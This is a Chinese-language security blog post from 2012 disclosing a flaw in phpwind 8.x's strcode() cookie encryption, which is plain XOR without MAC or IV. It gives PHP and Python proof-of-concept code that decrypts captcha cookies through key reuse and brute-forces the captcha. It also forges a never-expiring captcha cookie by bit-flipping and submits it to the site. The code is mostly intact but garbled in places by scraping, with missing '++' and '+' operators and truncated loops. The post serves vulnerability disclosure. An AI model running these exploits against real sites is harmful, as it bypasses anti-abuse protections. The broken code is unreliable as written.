2012年(272)
分类: 网络与安全
2012-06-27 16:19:59
本文只是补充的一些细节。想了解背景可以参考此ppt。
由于时间匆忙,且家里发生了一些事情,所以这些都是2个月前的一些研究结果。代码也写得很粗糙,但基本能用。
描述
在phpwind 8.x 中(甚至包括一些老版本),strcode()函数是核心的加密函数,用于很多地方,比如cookie的加密。但strcode()函数只是简单的实现了xor加密,由于缺乏hmac和iv,使得strcode() 存在reused key attack 与 bit-flipping attack。攻击者通过一定的方法能够解密任意密文,或者构造出任意明文的密文。
细节
解密任意密文
在common.php 中:
/**
* 加密、解密字符串
*
*@global string $db_hash
*@global array $pwserver
*@param $string 待处理字符串
*@param $action 操作,encode|decode
*@return string
*/
function strcode($string, $action ='encode') {
$action!= 'encode' && $string = base64_decode($string);
$code= '';
$key= substr(md5($globals['pwserver']['http_user_agent'] . $globals['db_hash']), 8,18);
$keylen= strlen($key);
$strlen= strlen($string);
for($i = 0; $i < $strlen; $i ) {
$k= $i % $keylen;
$code.= $string[$i] ^ $key[$k];
}
return($action != 'decode' ? base64_encode($code) : $code);
}
那么,以破解验证码为例。在phpwind中,验证码是在ck.php中按照如下方式生成的:
functiongetcode($type=null,$set=true) {
empty($type)&& $type = $this->gdcontent;
$code= '';
switch($type) {
case3:
global$db_charset,$lang;
require_oncegetlang('ck');
$step= strtoupper($db_charset) == 'utf-8' ? 3 : 2;
$len = (strlen($lang['ck'])/$step) - 1;
for($i = 0; $i < $this->num; $i ) {
$code.= substr($lang['ck'],mt_rand(0,$len)*$step,$step);
}
$set&& $this->cookie($code);
if(strtoupper($db_charset) <> 'utf-8') {
$code= $this->convert($code,'utf-8',$db_charset);
}
$code= explode(',',wordwrap($code,3,',',1));
break;
case2:
$list= 'bcefghjkmpqrtvwxy2346789';
$len = strlen($list) - 1;
for ($i = 0; $i <$this->num; $i ) {
$code.= $list[mt_rand(0,$len)];
}
$set&& $this->cookie($code);
break;
default:
$list= '2346789';
$this->gdtype== 3 && $list .= '15';
$len= strlen($list) - 1;
mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $this->num; $i ) {
$code.= $list{mt_rand(0, $len)};
}
$set&& $this->cookie($code);
}
return$code;
}
同时验证码的字符集只有24个,因为有些字符容易让用户产生混淆,比如字母"l"与数字"1":
$list= 'bcefghjkmpqrtvwxy2346789';
最终将生成的验证码与时间戳绑定后写入cookie中:
加密前的结构如下:
根据reused key attack的攻击方法,知道明文1、密文1、密文2后,可以通过xor操作推导出明文2。在验证码的应用中,有两个因素比较关键,一个是时间戳,一个是验证码的值。
但实际上有很多地方可以暴露时间戳。比如下面的地方:
http/1.1 200 ok
server: nginx/0.7.65
date: mon, 05 sep 2011 03:08:29 gmt
content-type: image/png
transfer-encoding: chunked
connection: keep-alive
x-powered-by: php/5.2.10
set-cookie: dd499_c_stamp=1315192109; expires=tue, 04-sep-2012 03:08:29 gmt;path=/
set-cookie: dd499_lastvisit=3522 1315192109 /ck.php?nowtime1315191874102;expires=tue, 04-sep-2012 03:08:29 gmt; path=/
pragma: no-cache
cache-control: no-cache
set-cookie: dd499_cknum=aqsfb1vdvlrsc28xuvymbgudugefclegvanrbwqbagjbbqnvcaabcgzwb1e;expires=tue, 04-sep-2012 03:08:29 gmt; path=/
获取了时间戳和已知的验证码1后,可以构造出服务端使用的明文;结合抓取到的这次密文,就可以推导出任意密文的明文了。
但明文中未直接包含验证码的值,而只是使用了验证码的md5,因此要破解出验证码,需要采用md5 rainbow table的方式来逆向推导md5后的验证码值。因为phpwind采用的验证码位数不是很多,只有4位、5位或6位,因此实际上只需要计算 24^4 = 331776 或者 24^5 = 7962624 次即可(验证码从24个字符中产生)。
演示代码如下:
$code1 = "qpg3w8";
$t = 1320392525;
$str1 = base64_decode("aqufbvijawikazlovvfraqaobfcebqudcvqmbqlwbgxwbwiobqftuqubaqc");
// cipher to crack
//加密方式: 时间戳."\t\t".md5(验证码.时间戳);
$str2 = base64_decode("aqufbvijawibdjloxayebwjrawaadvgbcvrduluaagchblabcqmbbgaiawe");
echo "timestamp is: ".$t."\n";
for ($jmp = 0; $jmp<20; $jmp ){
$x = ($t-10 $jmp)."\t\t".md5($code1.($t-10 $jmp));
$guess = "";
for ($i=0;$i
$guess .= chr(ord($x[$i]) ^ ord($str1[$i]) ^ ord($str2[$i]) );
}
//echo $guess."\n";
if ( is_numeric(substr($guess,0,10)) && preg_match("/^[a-z0-9]*$/i", substr($guess,-32) ) ){
//if ($jmp == 10){
echo "\nguess result is: ".$guess."\n";
break;
}
}
// 遍历出checkcode
$counter = 0;
$starttime = time();
$cksets = 'bcefghjkmpqrtvwxy2346789';
function bruteforce_guess($p){
global $counter;
global $cksets;
for ($a=0;$a
$result = "";
$result[0] = $cksets[$a];
for($b=0;$b
$result[1] = $cksets[$b];
for($c=0;$c
$result[2] = $cksets[$c];
for($d=0;$d
$result[3] = $cksets[$d];
for($e=0;$e
$result[4] = $cksets[$e];
for($f=0;$f
$counter ;
$result[5] = $cksets[$f];
$result = $result[0].$result[1].$result[2].$result[3].$result[4].$result[5];
if (md5($result.substr($p,0,10)) == substr($p,-32) ){
echo "checkcode is: ".$result."\n";
return $result;
}
if ($counter % 300000 == 0){
echo ".";
}
}
}
}
}
}
}
return false;
}
function random_guess($p){
global $counter;
global $cksets;
for(;;){
$result = '';
$len = strlen($cksets) - 1;
$counter ;
for ($i = 0; $i < strlen($code1); $i ) {
$result .= $cksets[mt_rand(0,$len)];
}
if (md5($result.substr($p,0,10)) == substr($p,-32) ){
echo "checkcode is: ".$result."\n";
break;
}
if ($counter % 300000 == 0){
echo ".";
}
}
}
bruteforce_guess($guess); // 遍历所有可能性
//random_guess($guess); //随机生成方式遍历
echo "counter is: ".$counter."\n";
echo "spend time: ".(time()-$starttime)." seconds\n";
function hex($str){
$result = '';
for ($i=0;$i
$result .= "\\x".ord($str[$i]);
}
return $result;
}
?>
测试如下,要破解如下验证码:
攻击效果:
构造任意明文的密文
还是以验证码为例,构造一个永久有效的验证码。
在phpwind中,是通过以下过程验证一个验证码的:
1. post参数 gdcode 的值为 valuea
2. 解密cookie cknum的值,获取到原文为 valueb
3. 通过safecheck()函数验证valueb的时间戳是否合法,以及valueb的 md5 是否与valuea的计算结果一致
global.php:
/**
* 校验验证码
*
*@param string $code
*/
function gdconfirm($code,$bool = null) {
cookie('cknum','', 0);
if(!$code || !safecheck(explode("\t", strcode(getcookie('cknum'),'decode')), strtoupper($code), 'cknum', 1800)) {
if($bool){
returnfalse;
}else{
showmsg('check_error');
}
}
returntrue;
}
common.php:
/**
* 检查cookie是否过期
*
*@global int $timestamp
*@param array $cookiedata cookie数据
*@param string $pwdcode 用户私有信息
*@param string $cookiename cookie名
*@param int $expire 过期秒数
*@param bool $clearcookie 验证错误是否清除cookie
*@param bool $refreshcookie 是否刷新cookie
*@return bool
*/
function safecheck($cookiedata, $pwdcode,$cookiename = 'adminuser', $expire = 1800,$clearcookie = true ,$refreshcookie =true) {
global$timestamp;
if($timestamp- $cookiedata[0] > $expire) {
cookie($cookiename,'', 0);
returnfalse;
}elseif ($cookiedata[2] != md5($pwdcode . $cookiedata[0])) {
$clearcookie&& cookie($cookiename, '', 0);
returnfalse;
}
if($refreshcookie) {
$cookiedata[0]= $timestamp;
$cookiedata[2]= md5($pwdcode . $cookiedata[0]);
cookie($cookiename,strcode(implode("\t", $cookiedata)));
}
returntrue;
}
注意到验证码的失效时间是服务端时间的1800秒之后。攻击者可以通过构造一个超级大的时间使得判断条件永远成立。
$timestamp– $cookiedata[0] < 0
演示代码如下:
import string
import urllib2
import urllib
#from urlparse import urlparse
import httplib
import base64
import md5
plaintext1 = "1320392525" "\t\t" md5.new("qpg3w8" "1320392525").hexdigest()
ciphertext1 = base64.b64decode("aqufbvijawikazlovvfraqaobfcebqudcvqmbqlwbgxwbwiobqftuqubaqc=")
bigtime = "2000000000"
plaintext2 = bigtime "\t\t" md5.new("2my8w3" bigtime).hexdigest()
ciphertext2 = ''
for i in range(0,len(plaintext1)):
ciphertext2 = chr(ord(plaintext1[i]) ^ ord(ciphertext1[i]) ^ ord(plaintext2[i]))
cookie = base64.b64encode(ciphertext2)
url = ""
data = {'action':'regcheck','gdcode':'2my8w3','type':'reggdcode'}
data = urllib.urlencode(data)
headers = {'user-agent':'mozilla/5.0 (windows; u; windows nt 5.1; zh-cn; rv:1.9.2.20) gecko/20110803 firefox/3.6.20',
'cookie':'be2f1_cknum=' cookie}
req = urllib2.request(url,data,headers)
f = urllib2.urlopen(req)
print f.read()
测试效果:
(返回值为0说明验证通过,返回值为1是验证不通过)